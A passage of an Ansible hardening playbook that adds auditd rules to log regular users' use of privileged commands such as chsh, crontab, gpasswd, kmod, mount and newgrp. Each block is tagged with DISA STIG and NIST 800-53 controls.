        contains: -a always,exit(( -S |,)\w+)*(( -S |,){{ item }})+(( -S |,)\w+)*
          -F path=/usr/bin/chsh -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
        patterns: '*.rules'
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Reset syscalls found per file
      ansible.builtin.set_fact:
        syscalls_per_file: {}
        found_paths_dict: {}

    - name: Declare syscalls found per file
      ansible.builtin.set_fact: syscalls_per_file=&quot;{{ syscalls_per_file | combine(
        {item.files[0].path :[item.item] + syscalls_per_file.get(item.files[0].path,
        []) } ) }}&quot;
      loop: '{{ find_command.results | selectattr(''matched'') | list }}'

    - name: Declare files where syscalls were found
      ansible.builtin.set_fact: found_paths=&quot;{{ find_command.results | map(attribute='files')
        | flatten | map(attribute='path') | list }}&quot;

    - name: Count occurrences of syscalls in paths
      ansible.builtin.set_fact: found_paths_dict=&quot;{{ found_paths_dict | combine({
        item:1+found_paths_dict.get(item, 0) }) }}&quot;
      loop: '{{ find_command.results | map(attribute=''files'') | flatten | map(attribute=''path'')
        | list }}'

    - name: Get path with most syscalls
      ansible.builtin.set_fact: audit_file=&quot;{{ (found_paths_dict | dict2items() |
        sort(attribute='value') | last).key }}&quot;
      when: found_paths | length &gt;= 1

    - name: No file with syscall found, set path to /etc/audit/rules.d/privileged.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/rules.d/privileged.rules&quot;
      when: found_paths | length == 0

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

    - name: Declare missing syscalls
      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        regexp: (-a always,exit)(?=.*(?:(?:-S |,)(?:{{ syscalls_per_file[audit_file]
          | join(&quot;|&quot;) }}))\b)((?:( -S |,)\w+)+)( -F path=/usr/bin/chsh -F auid&gt;=1000
          -F auid!=unset (?:-k |-F key=)\w+)
        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        line: -a always,exit{{ syscalls | join(',') }} -F path=/usr/bin/chsh -F auid&gt;=1000
          -F auid!=unset -F key=privileged
        create: true
        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
        syscalls: []
        syscall_grouping: []

    - name: Check existence of  in /etc/audit/audit.rules
      ansible.builtin.find:
        paths: /etc/audit
        contains: -a always,exit(( -S |,)\w+)*(( -S |,){{ item }})+(( -S |,)\w+)*
          -F path=/usr/bin/chsh -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
        patterns: audit.rules
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Set path to /etc/audit/audit.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/audit.rules&quot;

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

    - name: Declare missing syscalls
      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        regexp: (-a always,exit)(?=.*(?:(?:-S |,)(?:{{ syscalls_found | join(&quot;|&quot;)
          }}))\b)((?:( -S |,)\w+)+)( -F path=/usr/bin/chsh -F auid&gt;=1000 -F auid!=unset
          (?:-k |-F key=)\w+)
        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        line: -a always,exit{{ syscalls | join(',') }} -F path=/usr/bin/chsh -F auid&gt;=1000
          -F auid!=unset -F key=privileged
        create: true
        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-030410
    - NIST-800-171-3.1.7
    - NIST-800-53-AC-2(4)
    - NIST-800-53-AC-6(9)
    - NIST-800-53-AU-12(c)
    - NIST-800-53-AU-2(d)
    - NIST-800-53-CM-6(a)
    - audit_rules_privileged_commands_chsh
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Ensure auditd Collects Information on the Use of Privileged Commands - crontab
      - Perform remediation of Audit rules for /usr/bin/crontab
    block:

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
        syscalls: []
        syscall_grouping: []

    - name: Check existence of  in /etc/audit/rules.d/
      ansible.builtin.find:
        paths: /etc/audit/rules.d
        contains: -a always,exit(( -S |,)\w+)*(( -S |,){{ item }})+(( -S |,)\w+)*
          -F path=/usr/bin/crontab -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
        patterns: '*.rules'
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Reset syscalls found per file
      ansible.builtin.set_fact:
        syscalls_per_file: {}
        found_paths_dict: {}

    - name: Declare syscalls found per file
      ansible.builtin.set_fact: syscalls_per_file=&quot;{{ syscalls_per_file | combine(
        {item.files[0].path :[item.item] + syscalls_per_file.get(item.files[0].path,
        []) } ) }}&quot;
      loop: '{{ find_command.results | selectattr(''matched'') | list }}'

    - name: Declare files where syscalls were found
      ansible.builtin.set_fact: found_paths=&quot;{{ find_command.results | map(attribute='files')
        | flatten | map(attribute='path') | list }}&quot;

    - name: Count occurrences of syscalls in paths
      ansible.builtin.set_fact: found_paths_dict=&quot;{{ found_paths_dict | combine({
        item:1+found_paths_dict.get(item, 0) }) }}&quot;
      loop: '{{ find_command.results | map(attribute=''files'') | flatten | map(attribute=''path'')
        | list }}'

    - name: Get path with most syscalls
      ansible.builtin.set_fact: audit_file=&quot;{{ (found_paths_dict | dict2items() |
        sort(attribute='value') | last).key }}&quot;
      when: found_paths | length &gt;= 1

    - name: No file with syscall found, set path to /etc/audit/rules.d/privileged.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/rules.d/privileged.rules&quot;
      when: found_paths | length == 0

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

    - name: Declare missing syscalls
      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        regexp: (-a always,exit)(?=.*(?:(?:-S |,)(?:{{ syscalls_per_file[audit_file]
          | join(&quot;|&quot;) }}))\b)((?:( -S |,)\w+)+)( -F path=/usr/bin/crontab -F auid&gt;=1000
          -F auid!=unset (?:-k |-F key=)\w+)
        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        line: -a always,exit{{ syscalls | join(',') }} -F path=/usr/bin/crontab -F
          auid&gt;=1000 -F auid!=unset -F key=privileged
        create: true
        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
        syscalls: []
        syscall_grouping: []

    - name: Check existence of  in /etc/audit/audit.rules
      ansible.builtin.find:
        paths: /etc/audit
        contains: -a always,exit(( -S |,)\w+)*(( -S |,){{ item }})+(( -S |,)\w+)*
          -F path=/usr/bin/crontab -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
        patterns: audit.rules
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Set path to /etc/audit/audit.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/audit.rules&quot;

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

    - name: Declare missing syscalls
      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        regexp: (-a always,exit)(?=.*(?:(?:-S |,)(?:{{ syscalls_found | join(&quot;|&quot;)
          }}))\b)((?:( -S |,)\w+)+)( -F path=/usr/bin/crontab -F auid&gt;=1000 -F auid!=unset
          (?:-k |-F key=)\w+)
        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        line: -a always,exit{{ syscalls | join(',') }} -F path=/usr/bin/crontab -F
          auid&gt;=1000 -F auid!=unset -F key=privileged
        create: true
        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-030400
    - NIST-800-171-3.1.7
    - NIST-800-53-AC-6(9)
    - NIST-800-53-AU-12(c)
    - NIST-800-53-AU-2(d)
    - NIST-800-53-CM-6(a)
    - audit_rules_privileged_commands_crontab
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Ensure auditd Collects Information on the Use of Privileged Commands - gpasswd
      - Perform remediation of Audit rules for /usr/bin/gpasswd
    block:

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
        syscalls: []
        syscall_grouping: []

    - name: Check existence of  in /etc/audit/rules.d/
      ansible.builtin.find:
        paths: /etc/audit/rules.d
        contains: -a always,exit(( -S |,)\w+)*(( -S |,){{ item }})+(( -S |,)\w+)*
          -F path=/usr/bin/gpasswd -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
        patterns: '*.rules'
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Reset syscalls found per file
      ansible.builtin.set_fact:
        syscalls_per_file: {}
        found_paths_dict: {}

    - name: Declare syscalls found per file
      ansible.builtin.set_fact: syscalls_per_file=&quot;{{ syscalls_per_file | combine(
        {item.files[0].path :[item.item] + syscalls_per_file.get(item.files[0].path,
        []) } ) }}&quot;
      loop: '{{ find_command.results | selectattr(''matched'') | list }}'

    - name: Declare files where syscalls were found
      ansible.builtin.set_fact: found_paths=&quot;{{ find_command.results | map(attribute='files')
        | flatten | map(attribute='path') | list }}&quot;

    - name: Count occurrences of syscalls in paths
      ansible.builtin.set_fact: found_paths_dict=&quot;{{ found_paths_dict | combine({
        item:1+found_paths_dict.get(item, 0) }) }}&quot;
      loop: '{{ find_command.results | map(attribute=''files'') | flatten | map(attribute=''path'')
        | list }}'

    - name: Get path with most syscalls
      ansible.builtin.set_fact: audit_file=&quot;{{ (found_paths_dict | dict2items() |
        sort(attribute='value') | last).key }}&quot;
      when: found_paths | length &gt;= 1

    - name: No file with syscall found, set path to /etc/audit/rules.d/privileged.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/rules.d/privileged.rules&quot;
      when: found_paths | length == 0

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

    - name: Declare missing syscalls
      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        regexp: (-a always,exit)(?=.*(?:(?:-S |,)(?:{{ syscalls_per_file[audit_file]
          | join(&quot;|&quot;) }}))\b)((?:( -S |,)\w+)+)( -F path=/usr/bin/gpasswd -F auid&gt;=1000
          -F auid!=unset (?:-k |-F key=)\w+)
        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        line: -a always,exit{{ syscalls | join(',') }} -F path=/usr/bin/gpasswd -F
          auid&gt;=1000 -F auid!=unset -F key=privileged
        create: true
        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
        syscalls: []
        syscall_grouping: []

    - name: Check existence of  in /etc/audit/audit.rules
      ansible.builtin.find:
        paths: /etc/audit
        contains: -a always,exit(( -S |,)\w+)*(( -S |,){{ item }})+(( -S |,)\w+)*
          -F path=/usr/bin/gpasswd -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
        patterns: audit.rules
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Set path to /etc/audit/audit.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/audit.rules&quot;

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

    - name: Declare missing syscalls
      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        regexp: (-a always,exit)(?=.*(?:(?:-S |,)(?:{{ syscalls_found | join(&quot;|&quot;)
          }}))\b)((?:( -S |,)\w+)+)( -F path=/usr/bin/gpasswd -F auid&gt;=1000 -F auid!=unset
          (?:-k |-F key=)\w+)
        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        line: -a always,exit{{ syscalls | join(',') }} -F path=/usr/bin/gpasswd -F
          auid&gt;=1000 -F auid!=unset -F key=privileged
        create: true
        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-030370
    - NIST-800-171-3.1.7
    - NIST-800-53-AC-2(4)
    - NIST-800-53-AC-6(9)
    - NIST-800-53-AU-12(c)
    - NIST-800-53-AU-2(d)
    - NIST-800-53-CM-6(a)
    - audit_rules_privileged_commands_gpasswd
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Ensure auditd Collects Information on the Use of Privileged Commands - kmod
      - Perform remediation of Audit rules for /usr/bin/kmod
    block:

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
        syscalls: []
        syscall_grouping: []

    - name: Check existence of  in /etc/audit/rules.d/
      ansible.builtin.find:
        paths: /etc/audit/rules.d
        contains: -a always,exit(( -S |,)\w+)*(( -S |,){{ item }})+(( -S |,)\w+)*
          -F path=/usr/bin/kmod -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
        patterns: '*.rules'
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Reset syscalls found per file
      ansible.builtin.set_fact:
        syscalls_per_file: {}
        found_paths_dict: {}

    - name: Declare syscalls found per file
      ansible.builtin.set_fact: syscalls_per_file=&quot;{{ syscalls_per_file | combine(
        {item.files[0].path :[item.item] + syscalls_per_file.get(item.files[0].path,
        []) } ) }}&quot;
      loop: '{{ find_command.results | selectattr(''matched'') | list }}'

    - name: Declare files where syscalls were found
      ansible.builtin.set_fact: found_paths=&quot;{{ find_command.results | map(attribute='files')
        | flatten | map(attribute='path') | list }}&quot;

    - name: Count occurrences of syscalls in paths
      ansible.builtin.set_fact: found_paths_dict=&quot;{{ found_paths_dict | combine({
        item:1+found_paths_dict.get(item, 0) }) }}&quot;
      loop: '{{ find_command.results | map(attribute=''files'') | flatten | map(attribute=''path'')
        | list }}'

    - name: Get path with most syscalls
      ansible.builtin.set_fact: audit_file=&quot;{{ (found_paths_dict | dict2items() |
        sort(attribute='value') | last).key }}&quot;
      when: found_paths | length &gt;= 1

    - name: No file with syscall found, set path to /etc/audit/rules.d/privileged.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/rules.d/privileged.rules&quot;
      when: found_paths | length == 0

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

    - name: Declare missing syscalls
      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        regexp: (-a always,exit)(?=.*(?:(?:-S |,)(?:{{ syscalls_per_file[audit_file]
          | join(&quot;|&quot;) }}))\b)((?:( -S |,)\w+)+)( -F path=/usr/bin/kmod -F auid&gt;=1000
          -F auid!=unset (?:-k |-F key=)\w+)
        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        line: -a always,exit{{ syscalls | join(',') }} -F path=/usr/bin/kmod -F auid&gt;=1000
          -F auid!=unset -F key=privileged
        create: true
        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
        syscalls: []
        syscall_grouping: []

    - name: Check existence of  in /etc/audit/audit.rules
      ansible.builtin.find:
        paths: /etc/audit
        contains: -a always,exit(( -S |,)\w+)*(( -S |,){{ item }})+(( -S |,)\w+)*
          -F path=/usr/bin/kmod -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
        patterns: audit.rules
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Set path to /etc/audit/audit.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/audit.rules&quot;

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

    - name: Declare missing syscalls
      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        regexp: (-a always,exit)(?=.*(?:(?:-S |,)(?:{{ syscalls_found | join(&quot;|&quot;)
          }}))\b)((?:( -S |,)\w+)+)( -F path=/usr/bin/kmod -F auid&gt;=1000 -F auid!=unset
          (?:-k |-F key=)\w+)
        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        line: -a always,exit{{ syscalls | join(',') }} -F path=/usr/bin/kmod -F auid&gt;=1000
          -F auid!=unset -F key=privileged
        create: true
        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-030580
    - NIST-800-53-AU-12(a)
    - NIST-800-53-AU-12.1(ii)
    - NIST-800-53-AU-12.1(iv)AU-12(c)
    - NIST-800-53-AU-3
    - NIST-800-53-AU-3.1
    - NIST-800-53-MA-4(1)(a)
    - audit_rules_privileged_commands_kmod
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Ensure auditd Collects Information on the Use of Privileged Commands - mount
      - Perform remediation of Audit rules for /usr/bin/mount
    block:

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
        syscalls: []
        syscall_grouping: []

    - name: Check existence of  in /etc/audit/rules.d/
      ansible.builtin.find:
        paths: /etc/audit/rules.d
        contains: -a always,exit(( -S |,)\w+)*(( -S |,){{ item }})+(( -S |,)\w+)*
          -F path=/usr/bin/mount -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
        patterns: '*.rules'
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Reset syscalls found per file
      ansible.builtin.set_fact:
        syscalls_per_file: {}
        found_paths_dict: {}

    - name: Declare syscalls found per file
      ansible.builtin.set_fact: syscalls_per_file=&quot;{{ syscalls_per_file | combine(
        {item.files[0].path :[item.item] + syscalls_per_file.get(item.files[0].path,
        []) } ) }}&quot;
      loop: '{{ find_command.results | selectattr(''matched'') | list }}'

    - name: Declare files where syscalls were found
      ansible.builtin.set_fact: found_paths=&quot;{{ find_command.results | map(attribute='files')
        | flatten | map(attribute='path') | list }}&quot;

    - name: Count occurrences of syscalls in paths
      ansible.builtin.set_fact: found_paths_dict=&quot;{{ found_paths_dict | combine({
        item:1+found_paths_dict.get(item, 0) }) }}&quot;
      loop: '{{ find_command.results | map(attribute=''files'') | flatten | map(attribute=''path'')
        | list }}'

    - name: Get path with most syscalls
      ansible.builtin.set_fact: audit_file=&quot;{{ (found_paths_dict | dict2items() |
        sort(attribute='value') | last).key }}&quot;
      when: found_paths | length &gt;= 1

    - name: No file with syscall found, set path to /etc/audit/rules.d/privileged.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/rules.d/privileged.rules&quot;
      when: found_paths | length == 0

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

    - name: Declare missing syscalls
      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        regexp: (-a always,exit)(?=.*(?:(?:-S |,)(?:{{ syscalls_per_file[audit_file]
          | join(&quot;|&quot;) }}))\b)((?:( -S |,)\w+)+)( -F path=/usr/bin/mount -F auid&gt;=1000
          -F auid!=unset (?:-k |-F key=)\w+)
        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        line: -a always,exit{{ syscalls | join(',') }} -F path=/usr/bin/mount -F auid&gt;=1000
          -F auid!=unset -F key=privileged
        create: true
        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
        syscalls: []
        syscall_grouping: []

    - name: Check existence of  in /etc/audit/audit.rules
      ansible.builtin.find:
        paths: /etc/audit
        contains: -a always,exit(( -S |,)\w+)*(( -S |,){{ item }})+(( -S |,)\w+)*
          -F path=/usr/bin/mount -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
        patterns: audit.rules
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Set path to /etc/audit/audit.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/audit.rules&quot;

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

    - name: Declare missing syscalls
      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        regexp: (-a always,exit)(?=.*(?:(?:-S |,)(?:{{ syscalls_found | join(&quot;|&quot;)
          }}))\b)((?:( -S |,)\w+)+)( -F path=/usr/bin/mount -F auid&gt;=1000 -F auid!=unset
          (?:-k |-F key=)\w+)
        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        line: -a always,exit{{ syscalls | join(',') }} -F path=/usr/bin/mount -F auid&gt;=1000
          -F auid!=unset -F key=privileged
        create: true
        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-030300
    - NIST-800-53-AC-6(9)
    - NIST-800-53-AU-12(c)
    - NIST-800-53-AU-2(d)
    - NIST-800-53-CM-6(a)
    - audit_rules_privileged_commands_mount
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Ensure auditd Collects Information on the Use of Privileged Commands - newgrp
      - Perform remediation of Audit rules for /usr/bin/newgrp
    block:

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
        syscalls: []
        syscall_grouping: []

    - name: Check existence of  in /etc/audit/rules.d/
      ansible.builtin.find:
        paths: /etc/audit/rules.d
        contains: -a always,exit(( -S |,)\w+)*(( -S |,){{ item }})+(( -S |,)\w+)*
          -F path=/usr/bin/newgrp -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
        patterns: '*.rules'
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Reset syscalls found per file
      ansible.builtin.set_fact:
        syscalls_per_file: {}
        found_paths_dict: {}

    - name: Declare syscalls found per file
      ansible.builtin.set_fact: syscalls_per_file=&quot;{{ syscalls_per_file | combine(
        {item.files[0].path :[item.item] + syscalls_per_file.get(item.files[0].path,
        []) } ) }}&quot;
      loop: '{{ find_command.results | selectattr(''matched'') | list }}'

    - name: Declare files where syscalls were found
      ansible.builtin.set_fact: found_paths=&quot;{{ find_command.results | map(attribute='files')
        | flatten | map(attribute='path') | list }}&quot;

    - name: Count occurrences of syscalls in paths
      ansible.builtin.set_fact: found_paths_dict=&quot;{{ found_paths_dict | combine({
        item:1+found_paths_dict.get(item, 0) }) }}&quot;
      loop: '{{ find_command.results | map(attribute=''files'') | flatten | map(attribute=''path'')
        | list }}'

    - name: Get path with most syscalls
      ansible.builtin.set_fact: audit_file=&quot;{{ (found_paths_dict | dict2items() |
        sort(attribute='value') | last).key }}&quot;
      when: found_paths | length &gt;= 1

    - name: No file with syscall found, set path to /etc/audit/rules.d/privileged.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/rules.d/privileged.rules&quot;
      when: found_paths | length == 0

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

    - name: Declare missing syscalls
      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        regexp: (-a always,exit)(?=.*(?:(?:-S |,)(?:{{ syscalls_per_file[audit_file]
          | join(&quot;|&quot;) }}))\b)((?:( -S |,)\w+)+)( -F path=/usr/bin/newgrp -F auid&gt;=1000
          -F auid!=unset (?:-k |-F key=)\w+)
        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        line: -a always,exit{{ syscalls | join(',') }} -F path=/usr/bin/newgrp -F
          auid&gt;=1000 -F auid!=unset -F key=privileged
        create: true
        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
        syscalls: []
        syscall_grouping: []

    - name: Check existence of  in /etc/audit/audit.rules
      ansible.builtin.find:
        paths: /etc/audit
        contains: -a always,exit(( -S |,)\w+)*(( -S |,){{ item }})+(( -S |,)\w+)*
          -F path=/usr/bin/newgrp -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
        patterns: audit.rules
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Set path to /etc/audit/audit.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/audit.rules&quot;

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

    - name: Declare missing syscalls
